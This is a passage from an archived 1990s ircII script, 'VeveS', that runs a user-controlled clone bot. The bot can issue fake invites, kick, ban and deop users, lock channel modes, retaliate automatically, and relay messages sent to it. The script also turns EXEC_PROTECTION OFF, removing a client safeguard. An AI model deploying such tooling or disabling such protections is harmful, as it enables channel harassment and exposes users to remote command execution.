home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / IRC / veves.irc < prev    next >
Text File  |  1999-11-04  |  45KB  |  1,311 lines

  1. #
  2. #     \|/    Vassago's VeveS Script Version 1.25 (c) 1994,1995     \|/
  3. #    -=-=-  by Vassago (Ryan Addams). Email: rowan@unix.mclv.net  -=-=-
  4. #
  5. #            \    He who forges images, he who bewitches      /
  6. #           /     the malevolent aspect, the evil eye,         \    
  7. #            \    the malevolent lip, the finest sorcery...   /
  8. #
  9. #  This unusual little script has some extra stuff in it that may or may
  10. #  not be useful to everyone. I've divided it into sections, use it as
  11. #  you see fit. This is not a standalone script - everything should work
  12. #  fine (I hope) with any other script (although I would prefer you use
  13. #  PhoEniX, it is not necessary :) I've tried to use unique variables and
  14. #  expressions, so that it will be compatible with any other script.
  15. #  There are no backdoors in this script. This is guaranteed as long as
  16. #  you get it directly from my FTP site at jcowan.reslife.okstate.edu or
  17. #  unix.mclv.net, in /pub/irc/phoenix.
  18. #
  19.  
  20. assign vs [VeveS]
  21. assign vbk | PhoEniX |
  22. assign nuke_pgm nuke
  23. assign flash_pgm flash
  24. assign ircdesc $HOME/.ircdesc
  25.  
  26. EVAL echo $vs Loading VeveS Miscellanea Script Version 1.25 by Vassago.
  27.  
  28. ### Standard Aliases
  29.  
  30. alias nickonly {^assign FUNCTION_RETURN $left($index(! $0) $0)}
  31.  
  32. alias safe {^assign FUNCTION_RETURN $strip(;#\(\)+*/\\=\{\}<>!$$%^~`,?|'\" $0-)}
  33.  
  34. alias hostonly {
  35.    ^assign hhost_tmp $0
  36.    ^assign FUNCTION_RETURN $right(${@hhost_tmp-index(@ $0)} $0)
  37. }
  38.  
  39. alias pause2 {
  40.   ^assign PAUSETEMP $"-+ Enter to Continue +-"
  41.   ^assign -PAUSETEMP
  42. }
  43.  
  44. ^set NOVICE OFF
  45. ^set EXEC_PROTECTION OFF
  46. ^set DCC_BLOCK_SIZE 2048
  47.  
  48. on ^dcc_raw "*" #
  49.  
  50. alias your_host {
  51.   EVAL Userhost $N -CMD if ([$3]) {
  52.       ^assign ownadd $0!$3@$4
  53.       ^assign HOSTROOT $strip(~ $3)
  54.   }
  55.   {^timer 20 your_host}
  56. }
  57.  
  58. assign Veves_Version VeveS v1.25 by Vassago
  59.  
  60. ### FakeInvite Alias (by Vassago)
  61.  
  62. alias FAKEINVITE {
  63.   if ([$1]) {
  64.      ^assign _tmp_invite $strip(# $1)
  65.      ^assign _tmp_invite \#$_tmp_invite
  66.       quote INVITE $0 $_tmp_invite
  67.       echo $vs Fake invited $0 to channel $1\.
  68.      ^assign -_tmp_invite
  69.   }
  70.   {/echo $vs Usage: /fakeinvite <nick> <channel>.}
  71. }
  72.  
  73. ### Vassago's VeveBot Addition (by Vassago and CKeeper)
  74.  
  75. alias veve {
  76.    if (match($0 REPLY CREATE PROTECT NICK SAY MSG KILL HELP STATUS MODE KICK CTCP LEAVE JOIN SPY MODELOCK OP DEOP ANSWER BAN BKICK INV UNBAN JOINALL RECONNECT WINDOW SPYLEVEL NAMES ACT)) {/ve$0 $1-}
  77.    {/echo $vs Try /VEVE HELP for a list of commands.}
  78. }
  79.  
  80. assign not_online You do not have a VEVEBOT online.
  81.  
  82. alias vbecho {/xecho -window VeveS [$toupper($VEVENICK)] $0-}
  83.  
  84. assign VEVEPROTECT ON
  85. assign VEVENOISE ON
  86. assign VEVESPY ON
  87. assign VEVELEVEL NETSPLIT MSG CTCP MISC NOTICE
  88. assign VEVEWINDOW OFF
  89. assign VEVERECONNECT ON
  90. assign VEVEREPLY ON
  91. assign VEVEVERSION Running PhoEniX v2.25 by Vassago
  92. assign -VEVECHANNEL
  93.  
  94. @ reconnect_time = 7
  95.  
  96. alias VS {/veSAY $0-}
  97. alias VM {/veMSG $0-}
  98. alias VC {/veCTCP $0-}
  99. alias VA {/veACT $0-}
  100. alias VMD {/veMODE $0-}
  101. alias VJ {/veJOIN $0-}
  102. alias VL {/veLEAVE $0-}
  103. alias VK {/veKICK $0-}
  104. alias VB {/veBAN $0-}
  105. alias VBK {/veBKICK $0-}
  106. alias VN {/veNICK $0}
  107.  
  108. alias veHELP {
  109.     echo $vs +--+ Commands to Control VeveBot: +-------------------------------+
  110.     echo $vs  /VEVE CREATE <nick> <server> <userid> <desc> - Creates VeveBot.
  111.     echo $vs  /VEVE WINDOW - To toggle VeveBot windowing ON/OFF. This creates 
  112.     echo $vs        a special window just for your VeveBot stuff.
  113.     echo $vs  /VEVE KILL <signoff message> - Deactivates your VeveBot.
  114.     echo $vs  /VEVE PROTECT - Toggles deop, ban, and kick Protection on/off.
  115.     echo $vs  /VEVE SPY - Toggles the SPY setting ON/OFF. To set spy levels,
  116.     echo $vs        \(what to spy on\), use /VEVE SPYLEVEL.
  117.     echo $vs  /VEVE SPYLEVEL - Brings up a prompt to set levels for VEVE SPY.
  118.     echo $vs  /VEVE SAY/VS <msg> - Says <msg> to current channel.
  119.     echo $vs  /VEVE MSG/VM <nick> <msg> - Sends <msg> to <nick>.
  120.     echo $vs  /VEVE CTCP/VC <nick> <msg> - Sends a CTCP <msg> to <nick>.
  121.     echo $vs  /VEVE ACT/VA <whatever> - Has VeveBot do a '/me whatever'.
  122.     echo $vs  /VEVE NOTICE <nick> <msg> - Sends a NOTICE to <nick>.
  123.     echo $vs  /VEVE NAMES <Channel> - Tells the names of people on <Channel>.
  124.     echo $vs  /VEVE MODE/VMD <new mode> - Changes the mode on the channel.
  125.     echo $vs        to <new mode>. Ex: /VEVE MODE +o Vassago, /VMD +nst.
  126.     echo $vs  /VEVE OP/DEOP <nick> - Has VeveBot OP or DEOP <nick1, 2, 3, 4...>.
  127.     echo $vs  /VEVE MODELOCK <mode lock> - Has VeveBot enforce <mode lock>.
  128.     echo $vs  /VEVE LEAVE/VL <channel> - Has VeveBot leave <channel>.
  129.     pause2
  130.     echo $vs  /VEVE JOIN/VJ <channel> - Has VeveBot join <channel>.
  131.     echo $vs  /VEVE NICK/VN <new nickname> - Changes VeveBot's nickname.
  132.     echo $vs  /VEVE STATUS - Shows you the VeveBot Status.
  133.     echo $vs  /VEVE INV <nick> - VeveBot will invite <nick> to your channel.
  134.     echo $vs  /VEVE KICK <nick> <msg> - Kicks <nick> off your current channel.
  135.     echo $vs  /VEVE BKICK/VBK <nick> - Kicks & bans <nick> from your channel.
  136.     echo $vs  /VEVE BAN/VB <nick> - Bans <nick> from your current channel.
  137.     echo $vs  /VEVE UNBAN <nick> - VeveBot will unban <nick> in the channel.
  138.     echo $vs  /VEVE JOINALL - VeveBot will join all of your current channels.
  139.     echo $vs  /VEVE REPLY - Toggles the VeveBot replying to PINGS and VERSIONS.
  140.     echo $vs +-----------------------------------------------------------------+
  141. }
  142.  
  143. alias veSTATUS {
  144.    if ([$VEVEBOT]==[ONLINE]) {
  145.      vbecho My current online status:
  146.      vbecho I am on server $VEVESERVER with nickname $VEVENICK\.
  147.      if ([$VEVECHANNEL]!=[]) {/vbecho My current channel is $VEVECHANNEL\.}
  148.      vbecho Protection status is currently $VEVEPROTECT\.
  149.      vbecho Spying on MSGS and CTCPs is currently $VEVESPY\.
  150.      vbecho VeveBot Windowing is currently $VEVEWINDOW\.
  151.      vbecho Autoreconnect on closed server connection is $VEVERECONNECT\.
  152.      if ([$v_mode_lock]) {/vbecho Mode lock status is currently $v_mode_lock\.}
  153.      {/vbecho I am not currently enforcing any mode lock.}
  154.   }
  155.   {/echo $vs $not_online}
  156. }
  157.  
  158. alias veBKICK {
  159.   if ([$VEVEBOT]==[ONLINE]) {
  160.     if ([$0]) {
  161.       Userhost $0 -CMD if ([$4]!=[<UNKNOWN>]) {
  162.           EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $C -o+b $0 $nban($3 $4 *)
  163.           //^dcc raw $VEVESOCKET $VEVESERVER KICK $C $0 :$vbk
  164.       }
  165.       {/vbecho I can't seem to find $0 on IRC.}
  166.     }
  167.     {/vbecho Who do you want me to BKICK from $C\?}
  168.   }
  169.   {/echo $vs $not_online}
  170. }
  171.  
  172. alias veBAN {
  173.   if ([$VEVEBOT]==[ONLINE]) {
  174.     if ([$0]) {
  175.       Userhost $0 -CMD if ([$4]!=[<UNKNOWN>]) {
  176.          EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $C -o+b $0 $nban($3 $4 *)
  177.       }
  178.       {/vbecho I can't seem to find $0 on IRC.}
  179.     }
  180.     {/vbecho Who do you want me to BAN on $C\?}
  181.   }
  182.   {/echo $vs $not_online}
  183. }
  184.  
  185. alias veNICK {
  186.   if ([$VEVEBOT]==[ONLINE]) {
  187.     if ([$0]) {
  188.         ^assign VEVENICK $0
  189.         //^dcc raw $VEVESOCKET $VEVESERVER NICK $0
  190.         vbecho My nickname has been changed to $0\.
  191.         if ([$1]) {/veNICK $1-}
  192.     }
  193.     {/vbecho What nickname should I have?}
  194.   }
  195.  {/echo $vs $not_online}
  196. }
  197.  
  198. alias veSAY {
  199.   if ([$VEVEBOT]==[ONLINE]) {
  200.      if ([$VEVECHANNEL]!=[]) {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER PRIVMSG $VEVECHANNEL :$0-}
  201.      {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER PRIVMSG $C :$0-}
  202.   }
  203.   {/echo $vs $not_online}
  204. }
  205.  
  206. alias veNAMES {
  207.    if ([$VEVEBOT]==[ONLINE]) {
  208.        if ([$0]) {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER NAMES \#$strip(# $0)}
  209.        {
  210.            if ([$VEVECHANNEL]!=[]) {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER NAMES $VEVECHANNEL}
  211.            {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER NAMES \#$strip(# $0)}
  212.        }
  213.    }
  214.    {/echo $vs $not_online}
  215. }
  216.  
  217. alias veMODELOCK {
  218.   if ([$VEVEBOT]==[ONLINE]) {
  219.      if ([$0]) {
  220.         ^assign v_mode_lock $0-
  221.          vbecho I am now locking the mode: $v_mode_lock
  222.      }
  223.      {
  224.         vbecho My mode lock is now cleared. \(Unlocked\).
  225.        ^assign -v_mode_lock
  226.      }
  227.   }
  228.   {/echo $vs $not_online}
  229. }
  230.  
  231. alias veMSG {
  232.   if ([$VEVEBOT]==[ONLINE]) {
  233.    if ([$0]) {
  234.       EVAL //^dcc raw $VEVESOCKET $VEVESERVER PRIVMSG $0 :$1-
  235.       vbecho \(Message to $0\) $1-
  236.    }
  237.    {/vbecho Who do you want me to send a MSG to?}
  238.   }
  239.   {/echo $vs $not_online}
  240. }
  241.  
  242. alias veNOTICE {
  243.   if ([$VEVEBOT]==[ONLINE]) {
  244.    if ([$0]) {
  245.        EVAL //^dcc raw $VEVESOCKET $VEVESERVER NOTICE $0 :$1-
  246.        vbecho \(Notice to $0\) $1-
  247.    }
  248.    {/vbecho Who do you want me to send a NOTICE to?}
  249.   }
  250.   {/echo $vs $not_online}
  251. }
  252.  
  253. alias veCTCP {
  254.   if ([$VEVEBOT]==[ONLINE]) {
  255.     if ([$0]) {
  256.        EVAL //^dcc raw $VEVESOCKET $VEVESERVER PRIVMSG $0 :$1-
  257.        vbecho \(CTCP to $0\) $toupper($1) $2-
  258.     }
  259.     {/vbecho Who do you want me to send a CTCP to?}
  260.   }
  261.   {/echo $vs $not_online}
  262. }
  263.  
  264. alias veACT {
  265.   if ([$VEVEBOT]==[ONLINE]) {
  266.     if ([$0]) {
  267.        if ([$VEVECHANNEL]!=[]) {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER PRIVMSG $VEVECHANNEL :ACTION $0-\}
  268.        {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER PRIVMSG $C :ACTION $0-\}
  269.     }
  270.     {/vbecho What do you want me to do?}
  271.   }
  272.   {/echo $vs $not_online}
  273. }
  274.  
  275. alias veMODE {
  276.   if ([$VEVEBOT]==[ONLINE]) {
  277.     if ([$0]) {
  278.         if ([$VEVECHANNEL]!=[]) {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $VEVECHANNEL $0-}
  279.         {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $C $0-}
  280.     }
  281.     {/vbecho What do you want to change the mode to?}
  282.   }
  283.   {/echo $vs $not_online}
  284. }
  285.  
  286. alias veOP {
  287.   if ([$VEVEBOT]==[ONLINE]) {
  288.      if ([$0]) {
  289.          if ([$VEVECHANNEL]!=[]) {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $VEVECHANNEL +ooo $0 $1 $2}
  290.          {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $C +ooo $0 $1 $2}
  291.          if ([$3]) {/veOP $3-}
  292.      }
  293.      {/vbecho Who do you want me to OP?}
  294.   }
  295.   {/echo $vs $not_online}
  296. }
  297.  
  298. alias veDEOP {
  299.   if ([$VEVEBOT]==[ONLINE]) {
  300.      if ([$0]) {
  301.         if ([$VEVECHANNEL]!=[]) {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $VEVECHANNEL -oo $0 $1}
  302.         {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $C -oo $0 $1}
  303.         if ([$2]) {/veDEOP $2-}
  304.      }
  305.      {/vbecho Who do you want me to DEOP?}
  306.   }
  307.   {/echo $vs $not_online}
  308. }
  309.  
  310. alias veJOIN {
  311.   if ([$VEVEBOT]==[ONLINE]) {
  312.    if ([$0]) {
  313.       vbecho I am attempting to join channel #$strip(# $0)\.
  314.       EVAL //^dcc raw $VEVESOCKET $VEVESERVER JOIN #$strip(# $0)
  315.    }
  316.    {/vbecho What channel should I join?}
  317.   }
  318.  {/echo $vs $not_online}
  319. }
  320.  
  321. alias veJOINALL {
  322.   if ([$VEVEBOT]==[ONLINE]) {
  323.      if ([$0]) {
  324.         vbecho I am attempting to join $mychannels()\.
  325.         jointhem $mychannels()
  326.      }
  327.   }
  328.   {/echo $vs $not_online}
  329. }
  330.  
  331. alias jointhem {
  332.     if ([$0]) {//^dcc raw $VEVESOCKET $VEVESERVER JOIN $0}
  333.     if ([$1]) {/jointhem $1-}
  334. }
  335.  
  336. alias veLEAVE {
  337.   if ([$VEVEBOT]==[ONLINE]) {
  338.     if ([$0]) {
  339.         vbecho I am leaving channel \#$strip(# $0)\.
  340.         EVAL //^dcc raw $VEVESOCKET $VEVESERVER PART \#$strip(# $0-)
  341.     }
  342.     {
  343.        if ([$VEVECHANNEL]!=[]) {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER PART $VEVECHANNEL}
  344.        {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER PART $C}
  345.     }
  346.   }
  347.   {/echo $vs $not_online}
  348. }
  349.  
  350. alias veKICK {
  351.   if ([$VEVEBOT]==[ONLINE]) {
  352.      if ([$0]) {
  353.         if ([$VEVECHANNEL]!=[]) {
  354.            if ([$1]) {//^dcc raw $VEVESOCKET $VEVESERVER KICK $VEVECHANNEL $0 : $1- }
  355.            {//^dcc raw $VEVESOCKET $VEVESERVER KICK $VEVECHANNEL $0 :$vbk}
  356.         }
  357.         {
  358.            if ([$1]) {//^dcc raw $VEVESOCKET $VEVESERVER KICK $C $0 : $1- }
  359.            {//^dcc raw $VEVESOCKET $VEVESERVER KICK $C $0 :$vbk}
  360.         }
  361.      }
  362.      {/vbecho Who do you want me to kick from the channel?}
  363.   }
  364.   {/echo $vs $not_online}
  365. }
  366.  
  367. alias veINV {
  368.   if ([$VEVEBOT]==[ONLINE]) {
  369.      if ([$0]) {
  370.         if ([$1]) {
  371.            EVAL //^dcc raw $VEVESOCKET $VEVESERVER INVITE $0 $1
  372.            vbecho I invited $0 to channel $1\.
  373.         }
  374.         {
  375.            if ([$VEVECHANNEL]!=[]) {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER INVITE $0 $VEVECHANNEL}
  376.            {//^dcc raw $VEVESOCKET $VEVESERVER INVITE $0 $C}
  377.         }
  378.      }
  379.      {/vbecho Format: /VEVE INV <nick> <#channel>}
  380.   }
  381.   {/echo $vs $not_online}
  382. }
  383.  
  384. alias veUNBAN {
  385.   if ([$VEVEBOT]==[ONLINE]) {
  386.    if ([$0]) {
  387.       Userhost $0 -CMD if ([$4]!=[<UNKNOWN>]) {
  388.          ^assign vbans $strip(;#~- $0!$3@$4)
  389.          ^assign -tounban
  390.          ^on ^367 "*" {
  391.             if (match($2 $vbans)) {
  392.             ^assign tounban $2 ${tounban}
  393.             }
  394.           }
  395.           if ([$VEVECHANNEL]!=[]) {//^mode $VEVECHANNEL +b}
  396.           {//^mode $C +b}
  397.           wait -cmd _veunban $tounban
  398.       }
  399.       {/vbecho I can't find $0 on IRC.}
  400.    }
  401.    {/echo $vs Usage: /VEVE UNBAN <nick>.}
  402.   }
  403.   {/echo $vs $not_online}
  404. }
  405.  
  406. alias _veunban {
  407.     if ([$VEVECHANNEL]==[]) {/veveunban $tounban}
  408.     {/veveunban2 $tounban}
  409.    ^assign -vbans
  410.    ^on 367 - "*"
  411. }
  412.  
  413. alias veveUNBAN {
  414.   if ([$3]) {
  415.      EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $C -bbb $0 $1 $2
  416.      veveunban $3-
  417.   }
  418.   {
  419.     if ([$2]) {EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $C -bbb $0 $1 $2}
  420.     {
  421.       if ([$1]) {EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $C -bb $0 $1}
  422.       {
  423.         if ([$0]) {EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $C -b $0}
  424.       }
  425.     }
  426.   }
  427. }
  428.  
  429. alias veveUNBAN2 {
  430.   if ([$3]) {
  431.      EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $VEVECHANNEL -bbb $0 $1 $2
  432.      veveunban $3-
  433.   }
  434.   {
  435.     if ([$2]) {EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $VEVECHANNEL -bbb $0 $1 $2}
  436.     {
  437.       if ([$1]) {EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $VEVECHANNEL -bb $0 $1}
  438.       {
  439.         if ([$0]) {EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $VEVECHANNEL -b $0}
  440.       }
  441.     }
  442.   }
  443. }
  444.  
  445. alias veKILL {
  446.   if ([$VEVEBOT]==[ONLINE]) {
  447.     ^assign -VEVEBOT
  448.      if ([$0]) {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER QUIT :$0-}
  449.      {/EVAL //^dcc raw $VEVESOCKET $VEVESERVER QUIT :I'm outta here!}
  450.      undoVEVES
  451.      echo $vs Your VeveBot has been deactivated.
  452.   }
  453.   {/echo $vs $not_online}
  454. }
  455.  
  456. alias veSPYLEVEL {
  457.    echo $vs Available SPY Levels: MSG CTCP NOTICE PUBLIC MODE JOIN PART NETSPLIT MISC, or ALL.
  458.    echo $vs Current setting: $VEVELEVEL\.
  459.    if ([$0]) {
  460.        if ([$0]==[ALL]) {^assign VEVELEVEL MSG CTCP NOTICE PUBLIC NETSPLIT MISC MODE JOIN PART}
  461.        {^assign VEVELEVEL $0-}
  462.    }
  463.    {
  464.        @ temp = [$"New Settings for SPY: "]
  465.        if (temp!=[]) {@ VEVELEVEL = temp}
  466.        {/echo $vs SPY Levels remain unchanged.}
  467.        ^assign -temp
  468.        if ([$VEVELEVEL]==[ALL]) {^assign VEVELEVEL MSG CTCP NOTICE PUBLIC NETSPLIT MISC MODE JOIN PART}
  469.    }
  470.    echo $vs SPY Levels set to: $VEVELEVEL\.
  471. }
  472.  
  473. alias vePROTECT {
  474.    if ([$VEVEPROTECT]==[ON]) {^assign VEVEPROTECT OFF}
  475.    {^assign VEVEPROTECT ON}
  476.    /echo $vs VeveBot Protection status is now $VEVEPROTECT\.
  477. }
  478.  
  479. alias veREPLY {
  480.    if ([$VEVEREPLY]==[ON]) {^assign VEVEREPLY OFF}
  481.    {^assign VEVEREPLY ON}
  482.    /echo $vs VeveBot replying to PINGS and VERSIONS is $VEVEREPLY\.
  483. }
  484.  
  485. alias veSPY {
  486.    if ([$VEVESPY]==[ON]) {^assign VEVESPY OFF}
  487.    {^assign VEVESPY ON}
  488.    /echo $vs VeveBot Spy status is now $VEVESPY\.
  489. }
  490.  
  491. alias veRECONNECT {
  492.    if ([$VEVERECONNECT]==[ON]) {^assign VEVERECONNECT OFF}
  493.    {^assign VEVERECONNECT ON}
  494.    /echo $vs VeveBot autoreconnect on closed connection is now $VEVERECONNECT\.
  495. }
  496.  
  497. alias veCREATE {
  498. if ([$VEVEBOT]!=[ONLINE]) {
  499. if ([$0]!=[]) {@ VEVENICK = [$0]}
  500. {
  501. ^assign ask $"[VEVES] Bot Nickname? "
  502. if ([$ask]!=[]) {@ VEVENICK = [$ask]}
  503. ^assign -ask
  504. }
  505. if ([$1]!=[]) {@ VEVESERVER = [$1]}
  506. {
  507. ^assign ask $"[VEVES] Bot Server? "
  508. if ([$ask]!=[]) {@ VEVESERVER = [$ask]}
  509. ^assign -ask
  510. }
  511. if ([$2]!=[]) {@ VEVENICK = [$2]}
  512. {
  513. ^assign ask $"[VEVES] Bot Username? "
  514. if ([$ask]!=[]) {@ VEVENICK = [$ask]}
  515. ^assign -ask
  516. }
  517. if ([$3]!=[]) {@ VEVE_DESCR = [$3-]}
  518. {
  519. ^assign ask $"[VEVES] Bot IRCNAME? "
  520. if ([$ask]!=[]) {@ VEVE_DESCR = [$ask]}
  521. ^assign -ask
  522. }
  523. makeVEVE
  524. }
  525. {/echo $vs A VEVEBOT is already online. Type /VEVE KILL to disconnect.}
  526. }
  527.  
  528. alias makeVEVE {
  529.     /echo $vs Creating Vevebot $toupper($VEVENICK) on server $VEVESERVER\...
  530.     ^set display OFF
  531.     @ VEVESOCKET = connect($VEVESERVER 6667)
  532.     ^set display ON
  533.    if (VEVESOCKET > 0) {
  534.        EVAL //^dcc raw $VEVESOCKET $VEVESERVER USER $VEVE_USER $VEVE_USER $VEVE_USER :$VEVE_DESCR
  535.        EVAL //^dcc raw $VEVESOCKET $VEVESERVER NICK $VEVENICK
  536.        EVAL //^dcc raw $VEVESOCKET $VEVESERVER MODE $VEVENICK +i
  537.        if ([$C]!=0) {/EVAL ^timer 6 //^dcc raw $VEVESOCKET $VEVESERVER JOIN $C}
  538.        doVEVES
  539.       ^assign VeveBot ONLINE
  540.        vbecho Attempting to connect to server $VEVESERVER\...
  541.        vbecho If I am not online in 60 seconds, Type /VEVE KILL and try again.
  542.    }
  543.    {/echo $vs VeveBot could not connect to server $VEVESERVER\.}
  544. }
  545.  
  546. alias veWINDOW {
  547.   if ([$VEVEWINDOW]!=[ON]) {
  548.      ^assign VEVEWINDOW ON
  549.      ^clear
  550.      ^window new
  551.      ^window scroll on
  552.      ^window shrink 6
  553.      ^window name VeveS
  554.      ^set hold_mode off
  555.      ^window goto 2
  556.       echo $vs VeveBot control window has been activated.
  557.   }
  558.   {
  559.      ^assign VEVEWINDOW OFF
  560.       clear
  561.      ^window refnum VeveS
  562.       wait -CMD window kill
  563.       echo $vs VeveBot control window has been deactivated.
  564.   }
  565. }
  566.  
  567. alias doVEVES {
  568.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % JOIN *" {
  569.      if ([$nickonly($mid(1 $index($right(1 $3)) $3))]==[$VEVENICK]) {
  570.          ^assign VEVECHANNEL $strip(: $5)
  571.          ^assign VEVECHANNEL $left(${[$@VEVECHANNEL]-1} $VEVECHANNEL)
  572.           if (([$VEVESPY!=[ON])||(!match(JOIN $VEVELEVEL))) {/vbecho I have successfully joined channel $strip(: $5)\.}
  573.      }
  574.      if ([$nickonly($mid(1 $index($right(1 $3)) $3))]==[$N]) {/EVAL //^dcc raw $0 $1 MODE $strip(: $5) +o $N}
  575.      if (([$VEVESPY]==[ON])&&(match(JOIN $VEVELEVEL))) {/vbecho $nickonly($mid(1 $index($right(1 $3)) $3)) has joined channel $strip(: $5)\.}
  576.   }
  577.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % PART *" {
  578.      if ([$nickonly($mid(1 $index($right(1 $3)) $3))]==[$VEVENICK]) {^assign -VEVECHANNEL}
  579.      if (([$VEVESPY]==[ON])&&(match(PART $VEVELEVEL))) {/vbecho $nickonly($mid(1 $index($right(1 $3)) $3)) has left channel $strip(: $5)\.}
  580.   }
  581.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % MODE #*" {
  582.     if (([$VEVESPY]==[ON])&&(match(MODE $VEVELEVEL))) {/vbecho Mode change \'$6-\' on channel $5 by $nickonly($mid(1 $index($right(1 $3)) $3))\.}
  583.     if ((rmatch($6 *+o*))&&(rmatch($VEVENICK $7-))) {
  584.        if (!ischanop($N $5)) {//^dcc raw $0 $1 MODE $5 +o $N}
  585.     }
  586.     if ((rmatch($6 *-o*))&&(rmatch($N $7-))) {
  587.       if (([$nickonly($mid(1 $index($right(1 $3)) $3))]!=[$VEVENICK])&&([$VEVEPROTECT]==[ON])) {
  588.         //^dcc raw $0 $1 MODE $5 -o+o $nickonly($mid(1 $index($right(1 $3)) $3)) $N
  589.         vbecho DEOP protection activated on channel $5 by $nickonly($mid(1 $index($right(1 $3)) $3))
  590.       }
  591.     }
  592.     if ((rmatch($6 *+b*))&&(rmatch($OWNADD $7-))&&([$VEVEPROTECT]==[ON])) {
  593.         ^assign BANNERNICK $nickonly($mid(1 $index($right(1 $3)) $3))
  594.         if (rmatch($OWNADD $7)) {//^dcc raw $VEVESOCKET $VEVESERVER MODE $5 -ob $BANNERNICK $7}
  595.         if (rmatch($OWNADD $8)) {//^dcc raw $VEVESOCKET $VEVESERVER MODE $5 -ob $BANNERNICK $8}
  596.         if (rmatch($OWNADD $9)) {//^dcc raw $VEVESOCKET $VEVESERVER MODE $5 -ob $BANNERNICK $9}
  597.         if (rmatch($OWNADD $10)) {//^dcc raw $VEVESOCKET $VEVESERVER MODE $5 -ob $BANNERNICK $10}
  598.         /vbecho BAN protection activated on channel $5 by $BANNERNICK\.
  599.         ^assign -BANNERNICK
  600.       }
  601.      if ([$v_mode_lock]!=[]) {//^dcc raw $0 $1 MODE $5 $v_mode_lock}
  602.   }
  603.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % KICK % %*" {
  604.     if ([$6]==[$VEVENICK]) {
  605.        ^timer 1 //^dcc raw $0 $1 JOIN $5
  606.        if ([$strip(: $5)]!=[$C]) {/vbecho I was kicked from channel $5 by $nickonly($mid(1 $index($right(1 $3)) $3))}
  607.     }
  608.     if (([$6]==[$N])&&([$VEVEPROTECT]==[ON])) {
  609.        //^dcc raw $0 $1 MODE $5 -o $nickonly($mid(1 $index($right(1 $3)) $3))
  610.        EVAL ^timer 1 //^dcc raw $0 $1 INVITE $N $5
  611.        vbecho KICK protection activated on channel $5\.
  612.     }
  613.   }
  614.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % PRIVMSG % :*" {
  615.      if (([$VEVESPY]==[ON])&&(match(MSG $VEVELEVEL))) {/vbecho \(MSG from $nickonly($mid(1 $index($right(1 $3)) $3))\) $mid(1 $index($right(1 $6)) $6) $7-}
  616.   }
  617.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % PRIVMSG #% :*" {
  618.      if (([$VEVESPY]==[ON])&&(match(PUBLIC $VEVELEVEL))) {/vbecho \<$nickonly($mid(1 $index($right(1 $3)) $3))\> $mid(1 $index($right(1 $6)) $6) $7-}
  619.   }
  620.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % INVITE % :*" {
  621.       if (([$VEVESPY]==[ON])&&(match(MISC $VEVELEVEL))) {
  622.            if ([$nickonly($mid(1 $index($right(1 $3)) $3))]==[$N]) {//^dcc raw $VEVESOCKET $VEVESERVER JOIN $strip(: $6)}
  623.            vbecho I have been invited to $strip(: $6) by $nickonly($mid(1 $index($right(1 $3)) $3))\.
  624.       }
  625.   }
  626.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % *" {
  627.     if ([$VEVESPY]==[ON]) {
  628.      ^assign justnick $nickonly($mid(1 $index($right(1 $3)) $3))
  629.       if (([$4]==[NOTICE])&&(match(NOTICE $VEVELEVEL))) {/vbecho \(NOTICE from $justnick\) $strip(: $6) $7-}
  630.       if ([$4]==[QUIT]) {
  631.         if ((rmatch($5 *.*))&&(rmatch($6 *.*))) {
  632.            if ([$6]!=[$veve_split]) {
  633.                if (match(NETSPLIT $VEVELEVEL)) {/vbecho Netsplit detected: $6}
  634.               ^assign veve_split $6
  635.            }
  636.         }
  637.         {
  638.            if (match(PUBLIC $VEVELEVEL)) {/vbecho Signoff: $justnick \($strip(: $5-)\)}
  639.         }
  640.       }
  641.     }
  642.   }
  643.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % PRIVMSG % :***" {
  644.     if ([$VEVESPY]==[ON]) {
  645.       if (match(CTCP $VEVELEVEL)) {
  646.          if ([$strip(: $strip( $6))]!=[ACTION]) {/vbecho CTCP \($strip(: $strip( $6-))\) from $nickonly($mid(1 $index($right(1 $3)) $3)) to $5\.}
  647.       }
  648.       {
  649.          if (match(PUBLIC $VEVELEVEL)) {/vbecho * $nickonly($mid(1 $index($right(1 $3)) $3)) $strip( $7-)}
  650.       }
  651.     }
  652.   }
  653.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % PRIVMSG % :*****" #
  654.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % PRIVMSG % :**:VER**" {
